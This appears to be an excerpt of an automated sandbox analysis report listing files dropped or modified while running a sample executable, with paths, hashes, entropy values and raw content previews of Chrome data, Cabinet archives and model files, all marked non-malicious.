Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.660656361607613e+12,"network":1.66065715e+12,"ticks":64507744.0,"uncertainty":1461179.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0g

C:\Users\user\AppData\Local\Google\Chrome\User Data\dc7c44b7-c358-4510-a7ed-cec7c60fa923.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	modified
Size (bytes):	61167
Entropy (8bit):	6.070611275843948
Encrypted:	false
SSDEEP:	1536:eI71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyGy:eI711NyBTOgd0HhmAnhqj3ry
MD5:	5B233C4AC40A250B2BEAD890E6897EE0
SHA1:	1577A533425FFB6387AC2CFEEC80283A958B4FAC
SHA-256:	19F6F5A2FC3347B392BD702D7CB8AF3C01F8CD3C0C1A9B130628939991D38851
SHA-512:	8AFA3AC6DC5004651834BAB5ECE5D72A66E4905C571B564293A518D53123BF000CBC9A2526C8E5C9F3439D74C8414A2268ADD0663C1AF0B7D948B1A3E91036C5
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.660656361607613e+12,"network":1.66065715e+12,"ticks":64507744.0,"uncertainty":1461179.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0g

C:\Users\user\AppData\Local\Google\Chrome\User Data\f680ed7a-5a94-436c-a1a4-5cabed36ae34.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	118531
Entropy (8bit):	6.049170961297
Encrypted:	false
SSDEEP:	3072:/hatS55TnNtTFS788k8oZo711NyBTOgd0HhmAnhqj3qH:/nHD3FS7V20XNyTOpBmAh4qH
MD5:	882A1E442E94C5B7970B228BE3DD2BE9
SHA1:	9EF11EF34F9D2BBF3C8DA73A29FA90F142FF4DE9
SHA-256:	FC39294DFD3E8643ADA77B73D3A7F859A945CB6DFFDF7BEB941E334B11D4E36B
SHA-512:	4C61C00837F32C81E5F13CA91D66321AFF89C01059FCF095EB54D7BC18FA78B4106E00576480113843DCC005A5350D33DE6DE1AFED65215725282444A356BE31
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.66121895344755e+12,"network":1.661218954e+12,"ticks":167389279.0,"uncertainty":2577507.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0

C:\Users\user\AppData\Local\Google\Chrome\User Data\fb907e85-e0e2-45b6-ae74-a9da8fc0db15.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	61167
Entropy (8bit):	6.0706072772359345
Encrypted:	false
SSDEEP:	1536:Vp71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyGy:Vp711NyBTOgd0HhmAnhqj3ry
MD5:	47570563E64ED891F69ED2CD733B489F
SHA1:	14ECA10DCD34E581D883FD4FC6F81324984C31A7
SHA-256:	7FA86F0E00F8D720F63902BF8B3A9B96E31D0C14CFD39D9667807BA86247C19C
SHA-512:	130236B5A746712228F59424D26D09EACDA697AD40A6977106BF484F4324F1F6957A137354DC1CEE3F4B7A2C79A292BDF6412F8B7CABF4CA7FF603D7AFC2FCB4
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.660656361607613e+12,"network":1.66065715e+12,"ticks":64507744.0,"uncertainty":1461179.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0g

C:\Users\user\AppData\Local\Google\Chrome\User Data\persisted_first_party_sets.json (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Reputation:	unknown
Preview:	{}

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	5829
Entropy (8bit):	4.902247628650607
Encrypted:	false
SSDEEP:	96:3CJ2Woe5F2k6Lm5emmXIGegyg12jDs+un/iQLEYFjDaeWJ6KGcmXs9smEFRLcU6j:Wxoe5FVsm5emdzgkjDt4iWN3yBGHc9s8
MD5:	F948233D40FE29A0FFB67F9BB2F050B5
SHA1:	9A815D3F218A9374788F3ECF6BE3445F14B414D8
SHA-256:	C18202AA4EF262432135AFF5139D0981281F528918A2EEA3858B064DFB66BE4F
SHA-512:	FD86A2C713FFA10FC083A34B60D7447DCB0622E83CC5992BBDAB8B3C7FEB7150999A68A8A9B055F263423478C0879ED462B7669FDE7067BC829D79DD3974787C
Malicious:	false
Reputation:	unknown
Preview:	PSMODULECACHE.............Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script................T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Temp\$inst\2.tmp

Download File

Process:	C:\Users\user\Desktop\em1B8DcC72.exe
File Type:	Microsoft Cabinet archive data, 36 bytes
Category:	dropped
Size (bytes):	36
Entropy (8bit):	1.3753156176197312
Encrypted:	false
SSDEEP:	3:wDl:wDl
MD5:	8708699D2C73BED30A0A08D80F96D6D7
SHA1:	684CB9D317146553E8C5269C8AFB1539565F4F78
SHA-256:	A32E0A83001D2C5D41649063217923DAC167809CAB50EC5784078E41C9EC0F0F
SHA-512:	38ECE3E441CC5D8E97781801D5B19BDEDE6065A0A50F7F87337039EDEEB4A22AD0348E9F5B5542B26236037DD35D0563F62D7F4C4F991C51020552CFAE03B264
Malicious:	false
Reputation:	unknown
Preview:	MSCF....$.......$...................

C:\Users\user\AppData\Local\Temp\$inst\temp_0.tmp

Download File

Process:	C:\Users\user\Desktop\em1B8DcC72.exe
File Type:	Microsoft Cabinet archive data, 2584457 bytes, 11 files
Category:	dropped
Size (bytes):	2584457
Entropy (8bit):	7.991228161350708
Encrypted:	true
SSDEEP:	49152:uNpJc7YrEa2u2hq3PGh0p4EyqaeFEqLh09fqNZesF+AxnMtQSOla:Yc8rHJ283PGi4EyduRLh0MNZesF+Agh
MD5:	A938E92C80FA3ACDADE6673ED2682B87
SHA1:	64A5B3BCEFF2B7D7F1F431CB4CB97134EB0FC6F7
SHA-256:	02EBEEA1F36A3426568B68194B24F9F925B52D4D7D55A7FFA70F5D5B1EAB2110
SHA-512:	A6206778A224220ED602C0DDAA9CF1102060771C9348AC3C25B2CFC4489338684B98E044DED1B44DF1B6B48D0AFF2F397DA633D223CB34973EEB18CCABC9750D
Malicious:	false
Reputation:	unknown
Preview:	MSCF.....o'.....,............................L.........U.Z .0......L.....U.> .1...... .....U.. .2..L.........U.. .3............U.. .4............U.W .5..n.........U.. .6.......!....U.. .7.......,....U.@ .8.......G....U.W .9..l...ZI....U.. .10.ce.^!..[.... .8q..@2.E#.`...o.rY.t....gW{..L8..vw...n.;.ro.....{.....{..`.V...0.#..I...&..cY.h.1J..V...FH.H#....u..2S.$.........>t.....:WI...,...[.....<j...W...."q.e..w.3..07.:....b......[.p.e....K...=I...........F........{..~.f.[...X.......,.].L0 Q.......G.\|C.......L6o....U.....X.C.$of.......l..T.?..\@..gt.!:.h....3..;....&3..e.j.^....y6.^....T.=...../.....l....p....D..t..f.l...=1...TV.p.@j.Jo'...K......."[..w.....^.?.[....[o..t........a....-~....F..C...'........g1.6h....?.....x.... ....,...(...c.O..#K..q...:H.V.(.B qj.M.\|......{.c_.{......G......g..>....X...@z.p......M.......H;.....8..8p{.{.l6.1..............,?p.`l0.....x..........~$......'p..x.W.............j.p.X.&....m.H.Aj.......P..=.=..]...\|.``..7.

C:\Users\user\AppData\Local\Temp\1b125c9b-dda8-4ffa-8f11-ef3ad83321c3.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Category:	dropped
Size (bytes):	3112
Entropy (8bit):	7.939241749332395
Encrypted:	false
SSDEEP:	96:wKpzsMIEd544qmUtUxg2GaAve/VkCvy/JtK:xptFd5dqmUtUxrgGYnK
MD5:	8CDA3FFA8BBC32485EDC42E13716ACE6
SHA1:	422303FEA67454E1D873AF39C3D3773468AC8660
SHA-256:	818B7BC5BFA41FFCD7233D78ECDDF779B77E4868EF2B9485312001CAD6C63361
SHA-512:	B397F2A9146FCB109F37F499F828AB2C8431DFD125873D318A90DA809126F45A1012D75DC86DA506E0D09A5226AC4ECB8B768CCB47198FF29AD0AFAC8C33FB39
Malicious:	false
Reputation:	unknown
Preview:	............ko.7......J...&9....GN........Wj...^.[.kE...........N0`......."...DTkY......O...#....^..Z/.T)9-Kb...L1y......\+F..E.......D.....[&9..tM(yqu.H.u.HYd...^PM2..!...yN...>..\|{.....GG...RYs]....0....a.Z.4._.J3..hV.L.....\|..rL..9...%S.....;...$.W...5 2)....s.OH..&.......32..&....$.y.p.d...I&b..2.Q$......t..4.'X.Bm....w.95y`.._...mV.$B.......q.H......<DT.v..9...Z.^.....o.v.k.I.x.[....X.(.....kC(....!...;;.9..aC.[.R...)}.g.m......}Ds.tJ..Rr>#.N...R.1..jg.......a;....L.%Ee........;......Y`.......V....h..aK.....2z4.<j&.L(.B...j....Q.-@...L>#..........V...7........E..q@h...Rd..y..f....g.............b....E.DWw....&...~V...eh@..'..{.n.V<.1<o...Zz..*...pP.I.s.j..x..0..6...5;..Q.\)...<UL.a..T.pY....&:.h...X\....kK.B..T3O...s.X..il.6&.%..R.u9.(....'n..4.._.{..B.Cyc....W..Y.m'.w..Q`. 1......b...I.....!.o`..rc...?WZH......G......B.{7..Gw .S._wU............4...r.B.....hY...$..SH..'.......`1E.....d4_.0.....C...6..g.A...V.9.o)Q..Y!.-0y...1..H.

C:\Users\user\AppData\Local\Temp\2264_1257466089\model-info.pb

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.437791346330686
Encrypted:	false
SSDEEP:	6:AlOuHVRKgLOczRb4ny3/NqBpjptCGNLEJyIn:ALXzrpEyFq1wGNo4I
MD5:	871C99F74EF7B90E6BC36E278398263E
SHA1:	D967C65B5374F879247FFED4E3A3567A61DDA6CE
SHA-256:	0BA5B4104DE22C5586D39817CA052DF617FF41B387D3EB4C4FBB4F9C6F2B8007
SHA-512:	D7020EFBA3AB9D58A0396C6652A6A8E9507D549531D069C31F5597E12B115427A1BC17B13ED18863F18561DB2E87EAA5F7599DC83598C52FD8792A9E9539815C
Malicious:	false
Reputation:	unknown
Preview:	........"..2...Ytype.googleapis.com/google.internal.chrome.optimizationguide.v1.SegmentationModelMetadata.].(....Session.TotalDuration.T<.A..GO .(.0..... .(.0.:'..chrome_low_user_engagement........?..

C:\Users\user\AppData\Local\Temp\2264_1257466089\model.tflite

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	27244
Entropy (8bit):	3.8842802707357547
Encrypted:	false
SSDEEP:	768:fUhIi/t/ZHNb6uqTKDW+y15z+3XBvd/JoL34F8CC6IYYr1lNKnTHa5xNSM+6O/gd:iIilRtb6uqTKDW+y15z+nBvd/JoL34Fw
MD5:	89932ADF9CC14986CA58687A6FAD996D
SHA1:	0F96CBF80B1D7AE823A4A78C44CE61ACD2020BE9
SHA-256:	68E66131713862F4418E14512883753CA275304E971A078D907C463F295194B9
SHA-512:	5C5E0AD32D94886D3E73544676FC8BC90694922CA5E11B82A6E63D1F02F0626642D2B8B0A1B7C72FAC1ED8DFFD63DBCB26185708A59950BC4077F489CD624DB6
Malicious:	false
Reputation:	unknown
Preview:	....TFL3.. ..........................................i..........................<.......serving_default.........`...............output_0........................inputs......,.......................CONVERSION_METADATA................min_runtime_version..... ...................................p...\...H...4... ...................................l...X...D...0.......................................t...l...d...\...T...L...D...<...4...,...$...................................................................................\|...t...l...d...\...T...L...D...<...4...,...$...................................................................................\|...t...l...d...\...T...L...D...<...4...,...$...................................................................................\|...t...l...d...\...T...L...D...<...4...,...$...................................................t...`...L...8...$...................................p...\...H...4... ...................................l...X...D...0...........

C:\Users\user\AppData\Local\Temp\2264_1452724148\model-info.pb

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.52164063634332
Encrypted:	false
SSDEEP:	3:fubuW:yuW
MD5:	7EDEA5DDC3FFB2E9288F564F36614D5E
SHA1:	F6CF6D4414D8DB5846BC219DD1ECC10D91A39E2D
SHA-256:	AC16853F97A2956A7572014975396129F4E336EE92912C1526721FC03E00B8E5
SHA-512:	39F7005A72CE13CEA36CDAB6E7D20B15DB7C4E5A15B79743E6F53E7FBF19CC8CE5132CD461D48037EB91F60E2C2BD0F161105CBB2A791580145ACFDF89D13C44
Malicious:	false
Reputation:	unknown
Preview:	......0"..H.

C:\Users\user\AppData\Local\Temp\2264_1452724148\model.tflite

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	392048
Entropy (8bit):	5.826576770481211
Encrypted:	false
SSDEEP:	6144:4i8mNiZGi+jiwubrNEOB37+rNiyykvXpqQC7SaPGNFzq/RnfAmn+qGk07U0z9zMl:WqEGi+GwGrNv9+r8bkvXpqQMLuNy5YmJ
MD5:	6D7C2F9E94664539DEC99B3233301B01
SHA1:	85812B004742CC1C211C92911131CE270F8BA769
SHA-256:	A0956386DC64FD9F4883C8741F950CD60A56859616B159C9E4251C9EB0AC5534
SHA-512:	4D06917F30651C3BF13C509AAE79793B3F1EC93DE12179464B18FD9FD16C7BF466884B1C70E425D7E937ADDE341CF24BD08F19A132BBB9683E804F29B4ED0C33
Malicious:	false
Reputation:	unknown
Preview:	....TFL3........................................4.......................%.......min_runtime_version.'..........................t...h...T...8...,.............................................................t........C...C..............x...d...X...<..........................>...........1.11.0..............J..............................j.............B@z...........f.@...................yw....z.......................w...........y.......y....i.....x............yy...y...xyw.x..........y....y..........zg...zyi..i.h...y....x..........y..x.y.y...x.......x....yx...y...........xxx.i..........y....y.......xzx.yxw.w.......y..yx...z.................................w.w..x.y....x....yy...h.......y..y...y........y........h....y............y....y.......x..y....y..y..w.x..........y....yx.x.......y....y........yx..y.y..f...i.x........yy..i.y...yy...y..x....x....x..y..yz...x..z....y....h..w.w..x.x......w..wi....xw...................h.e..........xy...y..x....y.y...............x..hxyx.zY......w....y...

C:\Users\user\AppData\Local\Temp\2264_152040211\Recovery.crx3

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	145035
Entropy (8bit):	7.995615725071868
Encrypted:	true
SSDEEP:	3072:TdgEhmDf+E8VY0x81Rkc6L2oqzqkPEu30gZlc3G2ZknF:TyEhmDf+/+Fnkj6lEukgZyyF
MD5:	EA1C1FFD3EA54D1FB117BFDBB3569C60
SHA1:	10958B0F690AE8F5240E1528B1CCFFFF28A33272
SHA-256:	7C3A6A7D16AC44C3200F572A764BCE7D8FA84B9572DD028B15C59BDCCBC0A77D
SHA-512:	6C30728CAC9EAC53F0B27B7DBE2222DA83225C3B63617D6B271A6CFEDF18E8F0A8DFFA1053E1CBC4C5E16625F4BBC0D03AA306A946C9D72FAA4CEB779F8FFCAF
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b..........S'.....2.{.....'....+.'.."..Y.x.ISa...)....H.&92..?!..~..F.5."...n,.B.-\|\.)..(..... ]G..j.-M)....C......o&L..0.K.....UtP.&.N...;..^w/a{)v...~KG;...?.1...k.c..D.U......J.6.`.G.5.x.k..[...i.A.@I^..I.<A. J...j.'.G.`.$q.N..Tdq]2]p.OF..#.#......'....8.3......0.."0....H.............0.............O..(...':19..O/.>....=.....m.n\.z..q.....JW..F......+H.Z+KGO.9....8.....U...&.y....,$...?.Eo.....\f/.Z..+M8...B.3'..Y.r...X.AS?.~..k..n....... Z...&.G....."n..........l.0v.x#<....Lx,-.w..-..d.....J.pT..('e~{%kQ.Q......rI.....Z....v.N.....J.d_......rX.......w@.b.[.c../V.'c...!.~.k..}z...U.S..nC......@.......Y..#.D.z.....5&.1O...X=p..2.F..P.6yP..>{.....HBX.*.E5....y..

C:\Users\user\AppData\Local\Temp\2264_152040211\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	1765
Entropy (8bit):	6.027545161275716
Encrypted:	false
SSDEEP:	48:p/hii6zkvVI1Jip2qRNHvakuQkCNFxdsGwmBKkgum91:Rz0kv6cNvaYNFwSEhug
MD5:	45821E6EB1AEC30435949B553DB67807
SHA1:	B3CADEB17FE5B76B5DBB428B8D3A07B341F8B1BC
SHA-256:	E5FAE91295BECF7F66BFA4BE1061CA5537ED763EB5D01485F23ECFB583304FEE
SHA-512:	BCBE40CAFAA4B14566D91E361D8FB7F0288D5C459FA478AA4C575444DA4D406E1076FC0B3A31D4A9E5EE034F0FE15A0EFE8A8A52B838DE94B96D3E488D28F0FE
Malicious:	false
Reputation:	unknown
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJSZWNvdmVyeS5jcngzIiwicm9vdF9oYXNoIjoiaGdCR051SzhNR2NKaDlfNmZQaFdEWmpVYUFKeklzeDlJS21DUEZvb0dfUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiIwYXduVFBFQmdDRHkyV05hVVk3Um9mSWN3c3ZwNHFRNUxzZVMxVXRiVXY0In1dLCJmb3JtYXQiOiJ0cmVlaGFzaCIsImhhc2hfYmxvY2tfc2l6ZSI6NDA5Nn1dLCJpdGVtX2lkIjoiaWhubGNlbm9jZWhnZGFlZ2RtaGJpZGpobmhkY2hmbW0iLCJpdGVtX3ZlcnNpb24iOiIxLjMuMzYuMTQxIiwicHJvdG9jb2xfdmVyc2lvbiI6MX0","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"iFuMX_kOZ-zJ7KVu6Lxb3rHWZgQvkZhv25x_SGlBiDV_okALrGbj6rUOWyNNNsHXMnT118XZmA696XR8qkr4dwT5Gvez-9gi-WYBY7XBkgo7v6NspGgJF89BNCeI-P9k-zBHOGgrf-fCEiAcoM7xCx9_f8qlRy7nhQPyjOIHn5eEJEir0uSu6gdqR9afnVZ3UoR-VOLdOBt7fA4ee38MP2ut5qWU50F5dvIezfKkTVDMHwztvcLCy6R9SVkdSYv6jwWGccYRl-aclvkkHu6SnbZGI7fmDZdkcBAxBHYEZZMmvb76ro4SO15GDyEVAo_Qf4trdrY_GyN_Bm73imCTjgtoGc

C:\Users\user\AppData\Local\Temp\2264_152040211\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	195
Entropy (8bit):	4.682333395896383
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFJ9LAG9Xg0XTFHqS1wP/pEeSWU4pv/8F/FxLj2RF2fcTZTotL:F6VlM90ggITgS1wnuWfB0NpK4aotL
MD5:	7A8E3A0B6417948DF4D49F3915428D7A
SHA1:	4FC084AABDB13483567D5C417C7ED8FD16726A80
SHA-256:	D1AC274CF1018020F2D9635A518ED1A1F21CC2CBE9E2A4392EC792D54B5B52FE
SHA-512:	064D84A57B28C19AD10742859DA493D0826B47ADC632F6C623DFB4DE36D72A9D29BE98518061A9FFD42D99FCF01F27DE39CE74782B3A5ACBBE11DFDDEEAB59A1
Malicious:	false
Reputation:	unknown
Preview:	{. "manifest_version": 2,. "name": "ImprovedRecoveryComponentInner",. "version": "1.3.36.141",. "imageName": "image.squash",. "squash": true,. "fsType": "squashfs",. "isRemovable": false.}

C:\Users\user\AppData\Local\Temp\2264_89692094\model-info.pb

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Bentley/Intergraph MicroStation
Category:	dropped
Size (bytes):	12
Entropy (8bit):	3.584962500721156
Encrypted:	false
SSDEEP:	3:qKaDO:qKaDO
MD5:	682E1B9EAAE0E93E0E185C9525986E96
SHA1:	0B1ABED8120DA66D2B76B67D1881C3615EF3436D
SHA-256:	E2CE5550B6AA239D48F404D5BB33696E58F959C9B305C64E5BBC50BE82B30CFA
SHA-512:	2791CE607B94C2DC4349227819DC719F135955DCA552AB403969353E14F4C74B1564785FCAB9B5F69F5E763CD7A432FC2F01B8E26899F081A2C8A262B7AEFDA7
Malicious:	false
Reputation:	unknown
Preview:	.....0"..

C:\Users\user\AppData\Local\Temp\2264_89692094\model.tflite

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	13924
Entropy (8bit):	4.524411316778424
Encrypted:	false
SSDEEP:	96:6ZuzUpYY9WW1H9xjMqvo0zjCOgxcyR7dCMUdvRWqIC2s8vvcr17/eFt9n9nFWB5A:JQEWh9x7ghb4r7pi4nBf+
MD5:	DD91CF850364320FA627573BEAAA8BDE
SHA1:	05F312EB672A32EF95ADEFC51A0BDC688C4B71AA
SHA-256:	CA54E4D1D1AE7932CE97FEDE0717956905BD9E796779ACC4C1A0BA75737F91AC
SHA-512:	B65A5D07646FDE821BE8A281002C2DB233E40184CF2E397443D5D659BE25679F5370AFD3C32D594FD828EBB37799147522357C40167711BC27C26E71CE066104
Malicious:	false
Reputation:	unknown
Preview:	....TFL3.. .............................t...@...P...$5..............4...........N...........CONVERSION_METADATA.............M...........min_runtime_version.O...........................................x...p...h...P...<...(...................................t...`...L...8...$...............................................................x...p...h...`...X...P...H...@...8...0...(... ...................................................................................x...X.......N.......D............... ...............................................2.11.0..............1.14.0.............................................................................................................................................................. ...$...(...,...0...4...8...<...n............d3?...=..............Z=.x.>...............<............................b$.?..............k...............5?..............X?............'5.?..............j.............6.5?&...........N.X?6...............F...........0..>V...

C:\Users\user\AppData\Local\Temp\226b3faf-3952-4e54-9e03-9f3057da8df4.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Category:	dropped
Size (bytes):	29066
Entropy (8bit):	7.991921788984723
Encrypted:	true
SSDEEP:	768:FFOgtnBj0RahBqviQqSCz9VHEoffDdZ64VOKAZGD:ygtnB1hBq1qSCBGoffDj7
MD5:	DF9EFFA3926C4B16A9E3BE5B4C11985D
SHA1:	C8225B259FC188045647BF304FB45ECF85705F7D
SHA-256:	CC812B1135DF094ECDD5B6A29C9FF5E48079B0CED0AF94E133C5B32079A00894
SHA-512:	2CC9B14CB9362005406EEA8E23C22BAF530436201808C0A6AFC1E08B0B666609217EE5BE837B112E06FB8F0857EE4C881D0359A2FA7B2F5B8D40C8A66A7C8254
Malicious:	false
Reputation:	unknown
